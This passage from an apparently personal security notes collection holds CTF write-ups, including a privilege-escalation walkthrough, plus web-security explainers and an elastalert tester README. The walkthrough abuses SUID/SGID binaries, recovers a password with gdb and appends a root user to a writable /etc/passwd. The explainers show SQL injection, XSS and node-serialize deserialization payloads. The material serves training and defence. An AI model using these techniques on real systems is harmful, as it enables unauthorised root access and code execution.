There should be already a few probable candidates for the fifth word but to further narrow down the options, the following lookahead could be used:

```bash
(?=.*u.{5}u.+ss[n0-5]+})
```

Two words has already been determined to have the letter, `u` -- `much` and `R3Gul4r`. Knowing that they are the 4th and 6th words respectively and the fact that the 5th word has been determined to be five characters long, the expression, `u.{5}u`, will not stand. Therefore, the hidden message should have something like this:

```bash
u+_R3Gu
```

Leaving us with the following options:

|  1  |  2  |  3  |  4  |  5  |
| :-: | :-: | :-: | :-: | :-: |
| 0-5 |  b  | 0-5 |  u  |  +  |
|  7  |  -  |  7  |  -  |  -  |

Using the the following lookahead, the definite word could be revealed:

```bash
(?=.*4.0.*R.*G.*)
```

The first and third characters of the 5th word could now be reduced to just **4** and **0** respectively and should now just be `4b0u+` or simply, **ABOUT**. Combining with the 4th word, the hidden message should now look like this:

```bash
ISP{C4N'7_??????_much_4b0u+_R3Gul4r_3xpr3ss10n5}
```

## PART 8 : THE SECOND WORD

There are only six unknown characters left; one of which is an **\_** that separates the second and third word. There are also only a few lookaheads that haven't been relevant and maybe could now be used like the following:

```bash
(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)
(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)
(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))
```

Looking at the expression, `\w\w\dw(?:_\d_)`, from the following lookahead:

```bash
(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))
```

There seems to be a four character word ending with a **w** followed by a word with a single numerical character. This seems to be the second and third words respectively. Focusing on the second word, the options are still quite broad but looking at the expression, `\Dn0\D`, there still hasn't been a match from the following lookahead:

```bash
(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)
```

The options left should now be something like this:

|  1  |  2  |  3  |  4  |
| :-: | :-: | :-: | :-: |
| b-w |  n  |  0  |  w  |
| 0-5 |  -  |  -  |  -  |
|  7  |  -  |  -  |  -  |

But still this could be reduced by the expression, `[ak47]`, which is the character that immediately comes after the first word from the following lookahead:

```bash
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

Meaning that the options should now just be:

|  1  |  2  |  3  |  4  |
| :-: | :-: | :-: | :-: |
|  k  |  n  |  0  |  w  |
|  4  |  -  |  -  |  -  |
|  7  |  -  |  -  |  -  |

The second word should know be fairly obvious to be `kn0w` or simply just `KNOW` leaving us with the current decoded message:

```bash
ISP{C4N'7_kn0w_?_much_4b0u+_R3Gul4r_3xpr3ss10n5}
```

## PART 9 :  THE THIRD WORD

The lookahead that will be relevant for this final step will be the one having the expression, `\D2.`:

```bash
(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})
```

The expression identified could be interpreted as the following; moreover, it comes before the pattern match for the 4th word making it the ideal solution:

```bash
_2_
```

Now, the entire hidden message has been recovered:

```
ISP{C4N'7_kn0w_2_much_4b0u+_R3Gul4r_3xpr3ss10n5}
```


# ROOTCON

## ROOTCON14 CTF Finals

<table><thead><tr><th width="178">CHALLENGE</th><th width="140.33333333333331">CATEGORY</th><th>TAGS</th></tr></thead><tbody><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCON_CTF_Finals/web/5_Classical_Music.html">Classical Music</a></td><td>Web (500) </td><td>Modified Underrail Music Puzzle</td></tr></tbody></table>

## Easter Egg Hunt 2020

<table><thead><tr><th width="177.33333333333331">CHALLENGE</th><th>TAGS</th></tr></thead><tbody><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Time.html">Time</a></td><td>One Time Pad</td></tr><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Space.html">Space</a></td><td>CAN dump</td></tr><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Power.html">Power</a></td><td>OpenSSL, bruteforce</td></tr><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Reality.html">Reality</a></td><td>MalDoc</td></tr><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Soul.html">Soul</a></td><td>Atlantean Alphabet</td></tr><tr><td><a href="https://jebidiah-anthony.github.io/chals/ctf/2020_ROOTCONEasterEggHunt/Mind.html">Mind</a></td><td>Unicode Steganography, Memory dump</td></tr></tbody></table>


# RTV'23 PrivEsc Challenge 1-3

Within 5 minutes, can you get root given an initial foothold?

## CHAL#1 (SUID)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv1

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

First, looking at the contents of the `/home` directory, there is an interesting file inside `/home/anthony`:

```shell-session
jebidiah@ip-172-31-47-51:~$ tree /home

  /home
  ├── admin
  ├── anthony
  │   └── bash
  └── jebidiah

  4 directories, 1 file
```

Looking at the file, it is discovered to be an executable with the SUID bit set to the user, `root`; however, it can only be run by members of the group, `anthony` (which is also another user):

```shell-session
jebidiah@ip-172-31-47-51:~$ file /home/anthony/bash

  /home/anthony/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped

jebidiah@ip-172-31-47-51:~$ ls -lh /home/anthony/bash

  -rwsr-xr-- 1 root anthony 1.3M Sep 27 19:28 /home/anthony/bash
```

What should now be done is finding a way to change the current running context to `anthony`:

```shell-session
jebidiah@ip-172-31-47-51:~$ cat /etc/passwd | grep anthony

  anthony:x:1002:1002::/home/anthony:/bin/sh
  
jebidiah@ip-172-31-47-51:~$ find / -perm -4000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

jebidiah@ip-172-31-47-51:~$ find / -perm -2000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

  -r-xr-sr-x 1 anthony anthony 1.3M Sep 27 18:05 /bash
  
jebidiah@ip-172-31-47-51:~$ file /bash

  /bash: setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
```

There is another `bash` executable in the `/` directory but this time an SUID bit was set to the group, `anthony`, which is what is currently needed:

```shell-session
jebidiah@ip-172-31-47-51:~$ /bash -p

bash-5.2$ id

  uid=1001(jebidiah) gid=1001(jebidiah) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)
```

Now, the effective gid of the current running context is for `anthony` meaning that the initially found `bash` file should now be executable and finally gain root privileges:

```shell-session
bash-5.2$ /home/anthony/bash -p

bash-5.2# id
  
  uid=1001(jebidiah) gid=1001(jebidiah) euid=0(root) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)

bash-5.2# cat /root/root.txt

  RTV{SU1Ds_4_dA_w1n}
```

## CHAL#2 (strcmp)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv2

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

Looking at the home directory of the current user, there is an executable named, `root`:

```shell-session
jebidiah@ip-172-31-42-199:~$ ls -lh

  total 16K
  -r-xr-xr-x 1 root root 16K Sep 27 20:59 root
  
jebidiah@ip-172-31-42-199:~$ file root

  root: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=080345de05c564b447ff4e3e7feec9c9febd9cf0, for GNU/Linux 3.2.0, not stripped
```

Attempting to run it yields the following results:

```shell-session
jebidiah@ip-172-31-42-199:~$ ./root

  Try running:

	./root <password>

jebidiah@ip-172-31-42-199:~$ ./root rootpass

  Whoops!! Try again... D:
```

It seems to be used for validating the root password and looking at its structure based on `gdb`, there is a `strcmp()` function probably used for verification and it seems that the plaintext password has been XORed which means that simply using `strings` will not give any results:

```shell-session
jebidiah@ip-172-31-42-199:~$ gdb ./root

(gdb) info functions

  All defined functions:

  Non-debugging symbols:
  0x0000000000001000  _init
  0x0000000000001030  puts@plt
  0x0000000000001040  strcmp@plt
  0x0000000000001050  malloc@plt
  0x0000000000001060  __cxa_finalize@plt
  0x0000000000001070  _start
  0x00000000000010a0  deregister_tm_clones
  0x00000000000010d0  register_tm_clones
  0x0000000000001110  __do_global_dtors_aux
  0x0000000000001150  frame_dummy
  0x0000000000001159  main
  0x0000000000001207  xor_pass
  0x0000000000001270  _fini
```

Debugging the executable then stopping at `strcmp()`, a password seems to have been recovered:

```bash
(gdb) run test

  Whoops!! Try again... D:

(gdb) disassemble main

  ..omitted..
  0x0000555555555191 <+56>:	call   0x555555555207 <xor_pass>
  ..omitted..
  0x00005555555551af <+86>:	call   0x555555555040 <strcmp@plt>
  ..omitted..
  
(gdb) break * 0x00005555555551af

  Breakpoint 1 at 0x5555555551af
  
(gdb) run test

  Breakpoint 1, 0x00005555555551af in main ()
  
(gdb) x/xs $rdi

  0x7fffffffe745:	"test"

(gdb) x/xs $rsi

  0x5555555592a0:	"NotAPassword123"
```

Now, using the discovered password to change the current user to `root`:

```shell-session
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}
```

The same result could be obtained via `ltrace`:

```shell-session
jebidiah@ip-172-31-42-199:~$ ltrace ./root test

  malloc(16)                                                              = 0x5597742f52a0
  strcmp("test", "NotAPassword123")                                       = 38
  puts("Whoops!! Try again... D:"Whoops!! Try again... D:
  )                                        = 25
  +++ exited (status 0) +++
  
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}
```

Just something to share, this was the code used for the challenge:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define PASS_LENGTH 15

char* xor_pass(unsigned char* enc_pass);

int main(int argc, char* argv[]) {
	if(argc == 2) {
		unsigned char enc_pass[PASS_LENGTH + 1] = {0x27,0x06,0x1d,0x28,0x39,0x08,0x1a,0x1a,0x1e,0x06,0x1b,0x0d,0x58,0x5b,0x5a};
		char* pass = xor_pass(enc_pass);

		if(!strcmp(argv[1], pass)) {
			printf("Congratulations!! You got it... :D\n");
		} else {
			printf("Whoops!! Try again... D:\n");
		}
	} else if (argc == 1) {
		printf("Try running:\n\n\t./root <password>\n\n");
	} else {
		printf("You can only give one guess!! :<\n");
	}

	return 0;
}

char* xor_pass(unsigned char* enc_pass) {
	int i;
	char* pass = malloc(sizeof(char) * (PASS_LENGTH + 1));

	for(i=0; i<PASS_LENGTH; i++) {
		pass[i] = enc_pass[i] ^ 0x69;
	} pass[i] = '\0';

	return pass;
}
```

## CHAL#3 (passwd)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv3

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

Looking at the current user's home directory, there is a `passwd` binary but there is nothing much that can be done about it as there are no escalation methods that can be achieved but this might be a clue to what can be done next:

```shell-session
jebidiah@ip-172-31-41-120:~$ ls -lh 

  total 68K
  -r-sr-sr-x 1 root shadow 67K Sep 28 05:35 passwd

jebidiah@ip-172-31-41-120:~$ find / -name passwd -exec md5sum {} \; 2>/dev/null | grep -E 'jeb|bin'

  77d8b4bf54dba9d77333be091c519435  /usr/bin/passwd
  77d8b4bf54dba9d77333be091c519435  /home/jebidiah/passwd
```

Maybe it's the `passwd` file? Maybe it's the `shadow` file? Looking at it:

```shell-session
jebidiah@ip-172-31-41-120:~$ ls -lh /etc | grep -E 'passwd|shadow'

  -rw-r-----  1 root shadow  621 Sep 28 11:32 gshadow
  -rw-r-----  1 root shadow  613 Sep 28 05:36 gshadow-
  -rw-rw-rw-  1 root root   1.5K Sep 29 07:57 passwd
  -rw-r-----  1 root shadow  902 Sep 28 05:36 shadow
```

The `passwd` file is writable meaning a new user can be created that can be fully controlled; moreover, it could have root privileges. But first, it is important to note that the file follows a certain format per user:

```
<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<startup shell>

# Setting <password> to 'x' means the password will be stored in the shadow file.
# Otherwise, it will check the field itself.
# And, leaving it blank will ensure an empty password.

# A UID and/or GID of '0' is reserved for root but can be impersonated.
```

Now, to create a new user with a blank password:

```shell-session
jebidiah@ip-172-31-41-120:~$ echo 'bakanaman::0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ cat /etc/passwd | grep -E 'bin/.*sh$'

  root:x:0:0:root:/root:/bin/bash
  admin:x:1000:1000:Debian:/home/admin:/bin/bash
  jebidiah:x:1002:1002::/home/jebidiah:/bin/sh
  bakanaman::0:0:ggwp:/:/bin/bash
  
jebidiah@ip-172-31-41-120:~$ su bakanaman

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
```

If you want to add a password, you can do so by doing the following:

```shell-session
jebidiah@ip-172-31-41-120:~$ openssl passwd rootpass

  $1$LFB.0uB4$ba5fVHKigN27R6fod01.g1
  
jebidiah@ip-172-31-41-120:~$ echo 'something:$1$LFB.0uB4$ba5fVHKigN27R6fod01.g1:0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ su something
Password: rootpass

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
```


# Cloud Challenges


# flAWS.cloud

Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities.


# Web for Dummies


# Output Encoding

## How does Output Encoding help?

Values received from a data source should only be treated as what it should be (only as data) and nothing else. This means that in an event where something maliscious is passed into a relevant resource, no rendering or unintenional event triggers will happen.

## Output Encoding Methods

### I. Escape Characters

A string usually beginning with a backslash ("**`\`**") followed by a certain encoding or character forcing it to be interpreted differently.

{% hint style="info" %}
**EXAMPLE: SQL Injection**

Make sure that strings are not injectable

Imagine the input, `' OR 1=1; --`, is passed to a dynamic query using `SELECT`:

> ```sql
> SELECT * FROM users WHERE id='' OR 1=1; --';
> ```

A valid query is returned instead of the following where the whole input is treated as a string and nothing else.

> ```sql
> SELECT * FROM users WHERE id='\' OR 1=1; --';
> ```

{% endhint %}

### II. HTML Entities

A string that begins with an ampersand ("**`&`**") and ends with a semicolon ("**`;`**"). This is used when generating content with multiple encodings and is particularly useful in displaying reserved characters that are otherwise would be invisible.

{% hint style="info" %}
**EXAMPLE: Cross-Site Scripting (XSS)**

An unescaped “**<**” and “**>**” could potentially be dangerous

This wouldn’t be rendered in a page with content types — `text/html`, `text/xml`, `image/svg+xml`:

> ```markup
> &lt;script&gt;alert(1);&lt;/script&gt;
> ```

As opposed to the following which leads to a **Cross-Site Scripting (XSS)** vulnerability.

> ```markup
> <script>alert(1);</script>
> ```

{% endhint %}

### III. Data Serialization

This is the process of transforming objects into a data format that can be restored later usually for storage or for transmission of data. It is highly dependent on what programming language you are using since the translation of objects is into what it understands.

{% hint style="info" %}
**EXAMPLE: The very old `node-serialize` module**

The danger usually lies when users are able to pass serialized input and then it is deserialized. This section of this post doesn’t really focus on encoding as much as making sure that data types are strictly set for each parameter value.

Consider this code block where an object with a function that executes the system command, id, is serialized:

> ```javascript
> var poc = {
>   command_execution : function(){
>     require('child_process').exec('id', function(error, stdout, stderr) {
>       console.log(stdout)
>     });
>   },
> }
> var serialize = require('node-serialize');
> console.log(serialize.serialize(poc));
> ```

It would return the following (with `\n` and some `<spaces>` cleaned) serialized data. An ”()” is added at the end to enable the function to be immediately invoked:

> ```javascript
> {"command_execution":"_$$ND_FUNC$$_function(){ require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) }); }()"}
> ```

Now, what would happen if the above data is deserialized?

> ```javascript
> var serialize = require('node-serialize');
> var payload = '<the serialized data from earlier>'
> serialize.unserialize(payload);
> ```

After deserialization, the following is returned:

> ```bash
> $ node deserialize.js
>
>   uid=1000(jebidiah) gid=1000(jebidiah) groups=1000(jebidiah),4(adm)
> ```

The command, `id`, was successfully executed. The server could now be exploited via remote command execution which is a very critical vulnerability.
{% endhint %}

## TAKEAWAYS

* This goes hand in hand with **Input Validation**.
* When using open source libraries, always check for vulnerabilities and security fixes to make sure that they are always well-maintained.
* Always be wary of parameters defined by users externally in order to avoid insecure deserialization of objects from malicious sources.
* Make sure that deserialization is done in a secure channel or low privilege environments as much as possible. This makes lateral movement a bit harder to do.


# Cross-Origin Resource Sharing (CORS)

## What is CORS?

Web pages, say like <http://example.com/page>, can always request resources from another web page as long as it comes from the same origin (this includes protocol, domain, and port). This **same origin policy** helps prevent malicious behavior since data circulates only from within the domain.

But what if the resources you need are only available elsewhere? This is where CORS come into play. It allows you to access resources or to navigate to another server. This is helpful especially when loading images, scripts, stylesheets, etc. CORS requests are done by using standard HTTP methods such as **`GET`**, **`PATCH`**, **`POST`**, **`PUT`**, and **`DELETE`** and are implemented using HTTP headers.

**HTTP Request Headers**:

* **`Origin`**
* **`Access-Control-Request-Method`**
* **`Access-Control-Request-Headers`**

**HTTP Response Headers**:

* **`Access-Control-Allow-Origin`**
* **`Access-Control-Allow-Credentials`**
* **`Access-Control-Expose-Headers`**
* **`Access-Control-Max-Age`**
* **`Access-Control-Allow-Methods`**
* **`Access-Control-Allow-Headers`**

**`Access-Control-Allow-Origin`** allows servers to specify how their resources are shared externally. Many times, this header will be set to **`*`** pertaining to any external domain. It could be a list of domains or it could even be set to **`null`**.

Most servers only allow **`GET`** requests as to avoid any intention of maliciously editing or deleting assets. However, such requests are not automatically dropped by the server. It first undergoes a **preflight test** in order to determine what methods are allowed.

**Pre-flight Test**

1. It first sends an **`OPTIONS`** request:

   ```http
   OPTIONS /resource HTTP/1.1
   Origin: example.com
   Access-Control-Request-Method: DELETE
   ```
2. The server responds:

   ```http
   HTTP/1.1 200 OK
   Access-Control-Allow-Origin: *
   Access-Control-Allow-Method: DELETE, GET
   ```

After the pre-flight test, the original request is then handled.

1. Deleting a resource:

   ```http
   DELETE /resource HTTP/1.1
   ORIGIN: example.com
   Access-Control-Request-Method: DELETE
   ```
2. The server responds:

   ```http
   HTTP/1.1 200 OK
   Access-Control-Allow-Origin: *
   ```

Since the **`DELETE`** method was allowed after checking during the pre-flight test, the resource was successfully deleted. Other headers automatically added by the browser are omitted from the example above.

## Common Misconfigurations

* **`Access-Control-Allow-Credentials`** is set to **`true`**:

  > Credentials are often stored in cookies and cookies are used to maintain our sessions or what the browser uses to indicate that we are currently logged in. Its value is mostly unique to our own and this header enables credential transmission which is bad new especially for websites susceptible to \[Cross-Site Scripting (XSS)]\(<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS>)).
  >
  > This would only be exploitable if **`Access-Control-Allow-Origin`** is not set to a wildcard (**`*`**) even if the a wildcard was used to cover a website's subdomains (e.g. **`*.example.com`**).
  >
  > Exposing your website to everyone and used along with this header the console would return **`Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.`** This could be a work around but this is still bad practice.
* **`Access-Control-Allow-Origin: null`**

  > Hostile documents could be crafted and sent with a **`Origin: null`** header and it would be accepted since serialization of the **`Origin`** of files are defined to be null.
  >
  > This should not be used.
* Don't give unneeded methods in **`Access-Control-Allow-Method`**

  > **`DELETE`**, **`PATCH`**, **`POST`**, and **`PUT`** could be used to alter or remove a site's assets/resources and even trigger further unwanted actions.
* Giving access to everyone -- **`Access-Control-Allow-Origin: *`**

  > Perhaps adding specific websites to a white list might be advisable if resources contain somewhat sensitive content.
  >
  > Or perhaps limiting accessible subdomains and endpoints would prove to be more secure but this would require different configurations.

## REFERENCES

```
- https://www.codecademy.com/articles/what-is-cors
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
- https://stackoverflow.com/questions/12001269/what-are-the-security-risks-of-setting-access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin
- https://mobilejazz.com/blog/which-security-risks-do-cors-imply/
```


# Blue Team


# elastalert.py

## SUMMARY

An elastalert rule tester built using python. Tests could be set-up uniquely and could be run by batch. Specified logs are indexed using [**Elasticsearch 7.4.0**](https://www.elastic.co/downloads/past-releases/elasticsearch-7-4-0) and are used with a custom elastalert [alerter](https://github.com/jebidiah-anthony/elastalerter/blob/master/elastalerter/alerter.py). This program covers testing for single matches and log aggregation with field mapping capabilities. ([source code](https://github.com/jebidiah-anthony/elastalerter/blob/master/elastalerter.py))

## ENVIRONMENT

| **ELASTICSEARCH**       | [v7.4.0](https://www.elastic.co/downloads/past-releases/elasticsearch-7-4-0) |
| ----------------------- | ---------------------------------------------------------------------------- |
| **VIRTUAL ENVIRONMENT** | Python 3.6                                                                   |
| **OPERATING SYSTEM**    | Linux (in this case: Ubuntu 18.04)                                           |

## IMPORTANT NOTES

* This probably **won't work** on Windows Machines.
* The program manually creates a basic config file if none is specified.
* The program manually sets the rule's alert to **`elastalerter.alerter.Alert`**.
* If mappings are not specified during aggregation, key fields are **automatically set as keyword fields**:

  ```yaml
  query_key: field_name.keyword
  metric_agg_key: field_name.keyword
  ```
* Logs to be used in a specific test could be a list of files or a directory containing all logs to be indexed.

  ```javascript
  "log": ["log1.json", "log2.json", ...]

   or

  "log": "/dir"
  ```
* If a directory is specified, the program will check if it exists as is, in the directory specified in **`--logs`**, or in the current working directory.
* Test results are laid out as follows in **`results.json`**:

  ```javascript
  {
      "total": 6,
      "pass": 3,
      "fail": 3,
      "tests": {
          "test_2": {
              "result": "PASSED",
              "message": []
          },
          "test_2": {
              "result": "PASSED",
              "message": []
          },
          "test_3": {
              "result": "FAILED",
              "message": [
                  "1 LOG(S) MATCHED: log001.json"
              ]
          },
          "test_4": {
              "result": "FAILED",
              "message": [
                  "7 LOG(S) DID NOT MATCH: agg_log001.json, agg_log002.json, agg_log003.json, agg_log004.json, agg_log005.json, log001.json, log003.json"
              ]
          },
          "test_agg_1": {
              "result": "FAILED",
              "message": [
                  "HITS (5) EXCEEDED THE THRESHOLD"
              ]
          }
      }
  }
  ```

## SET-UP

1. Download and run [elasticsearch 7.4.0](https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.4.0-linux-x86_64.tar.gz) for Linux.

   ```
   $ tar xvf elasticsearch-7.4.0-linux-x86_64.tar.gz

     ...

   $ elasticsearch-7.4.0/bin/elasticsearch

     ...
   ```
2. Set-up a python virtual environment:

   ```
   $ pip3 install virtualenv

   $ python3 -m virtualenv v_env

     Using base prefix '/usr'
     New python executable in CURRENT_WORKING_DIRECTORY/v_env/bin/python3
     Also creating executable in CURRENT_WORKING_DIRECTORY/v_env/bin/python
     Installing setuptools, pip, wheel...
     done.

   $ source v_env/bin/activate

   (v_env) $
   ```
3. Download and install dependencies for ***elastalerter.py***

   **download and unzip the files**

   ```
   (v_env) $ wget https://github.com/jebidiah-anthony/elastalerter/blob/master/elastalerter.zip?raw=true

     ...omitted...
     HTTP request sent, awaiting response... 200 OK
     Length: 4248 (4.1K) [application/zip]
     Saving to: ‘elastalerter.zip’

     elastalerter.zip         100%[================================>]   4.15K  --.-KB/s    in 0s
     ...omitted...

   (v_env) $ unzip elastalerter.py 

     Archive:  elastalerter.zip
       inflating: elastalerter.py
       inflating: requirements.txt
       inflating: setup.py
   ```

   **install dependencies**

   ```
   (v_env) $ pip install --requirement requirements.txt

     ...omitted...
     Installing collected packages: pytz, tzlocal, six, APScheduler, urllib3, idna, certifi, chardet, requests, 
     aws-requests-auth, blist, docutils, jmespath, python-dateutil, botocore, s3transfer, boto3, pycparser, cffi, 
     configparser, croniter, defusedxml, docopt, jsonschema, mock, PyStaticConfiguration, stomp.py, exotel, 
     envparse, python-magic, pbr, oauthlib, requests-oauthlib, requests-toolbelt, jira, PyYAML, PySocks, PyJWT, 
     twilio, texttable, elasticsearch, future, thehive4py, elastalert, tabulate
     ...omitted...
   ```

   **install the alerter**

   ```
   (v_env) $ pip install .

     ...omitted...
     Successfully built elastalerter
     Installing collected packages: elastalerter
     Successfully installed elastalerter-0.0.2
   ```

## EXECUTION (w/ sample output)

### help (**`-h, --help`**)

```
(v_env) $ python elastalerter.py -h
```

```
usage: python ./elastalerter.py --logs LOGS_DIR --rules RULES_DIR --expected expected.json

    SAMPLE "expected.json"
    ------------------------------------------------
    {
        "test_1": {
            "rule": "rule.yaml",
            "log": ["log1.json", "log2.json", ...],
            "match": (true | false),
            "enabled": (true | false)
        },
        "test_2": {
            ...
            "log": "/dir"
            ...
        },
        ...
    }

optional arguments:
  -h, --help       show this help message and exit
  --host HOST      elasticsearch instance host address (default: 127.0.0.1)
  --port PORT      elasticsearch instance port (default: 9200)
  --config YAML    elastalert config file to use.
  --mappings JSON  field data type mappings.
  --verbose        output other details

required arguments:
  --expected JSON  JSON outline of test names and expected results
  --logs DIR       directory of the logs to be indexed
  --rules DIR      directory of the rules to run with elastalert
```

### default output

```
(v_env) $ python elastalerter.py --logs ./logs --rules ./rules --expected expected.json
```

```
[+] RUNNING test_1 :
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] TEST ( test_1 ) PASSED

[+] RUNNING test_2 :
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] TEST ( test_2 ) PASSED

[+] RUNNING test_3 :
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] TEST ( test_3 ) FAILED

[+] RUNNING test_4 :
    [+] SPECIFIED LOGS IS A DIRECTORY ( ./logs )
        [ERROR] "test_file" IS NOT A VALID JSON FILE.
        [ERROR] "test_file.json" IS NOT A VALID LOG FILE.
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] TEST ( test_4 ) FAILED

[+] RUNNING test_agg_1 :
    [+] TESTING RULE -- AGG_RULE01 ( ./agg_rule01.yaml )
    [+] TEST ( test_agg_1 ) FAILED

[+] RUNNING test_agg_02 :
    [+] TEST ( test_agg_2 ) WAS DISABLED


[+] RESULTS WERE OUTPUT TO CURRENT_WORKING_DIRECTORY/results.json


    ╒════════════╤══════════╤═════════════════════════════════════════════════════════════╕
    │ TestID     │ RESULT   │ MESSAGE                                                     │
    ╞════════════╪══════════╪═════════════════════════════════════════════════════════════╡
    │ test_1     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_2     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_3     │ FAILED   │ > 1 LOG(S) MATCHED: log001.json                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_4     │ FAILED   │ > 7 LOG(S) DID NOT MATCH: agg_log001.json, agg_log002.json, │
    │            │          │   agg_log003.json, agg_log004.json, agg_log005.json,        │
    │            │          │   log001.json, log003.json                                  │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_agg_1 │ FAILED   │ > HITS (5) EXCEEDED THE THRESHOLD                           │
    ╘════════════╧══════════╧═════════════════════════════════════════════════════════════╛
```

### mappings (**`--mappings`**)

#### > sample mappings.json

```javascript
{
    "mappings": {
        "properties": {
            "ip": { "type": "ip" },
            "port": { "type": "integer" }
        }
    }
}
```

#### > execution

```
(v_env) $ python elastalerter.py --logs ./logs --rules ./rules --expected expected.json --mappings mappings.json
```

```
[+] RUNNING test_1 :
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] TEST ( test_1 ) PASSED
[+] RUNNING test_2 :
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] TEST ( test_2 ) PASSED

[+] RUNNING test_3 :
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] TEST ( test_3 ) FAILED

[+] RUNNING test_4 :
    [+] SPECIFIED LOGS IS A DIRECTORY ( ./logs )
        [ERROR] "test_file" IS NOT A VALID JSON FILE.
        [ERROR] "test_file.json" IS NOT A VALID LOG FILE.
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] TEST ( test_4 ) FAILED

[+] RUNNING test_agg_1 :
    [+] TESTING RULE -- AGG_RULE01 ( ./agg_rule01.yaml )
    [+] TEST ( test_agg_1 ) FAILED

[+] RUNNING test_agg_02 :
    [+] TEST ( test_agg_2 ) WAS DISABLED


[+] RESULTS WERE OUTPUT TO CURRENT_WORKING_DIRECTORY/results.json


    ╒════════════╤══════════╤═════════════════════════════════════════════════════════════╕
    │ TestID     │ RESULT   │ MESSAGE                                                     │
    ╞════════════╪══════════╪═════════════════════════════════════════════════════════════╡
    │ test_1     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_2     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_3     │ FAILED   │ > 1 LOG(S) MATCHED: log001.json                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
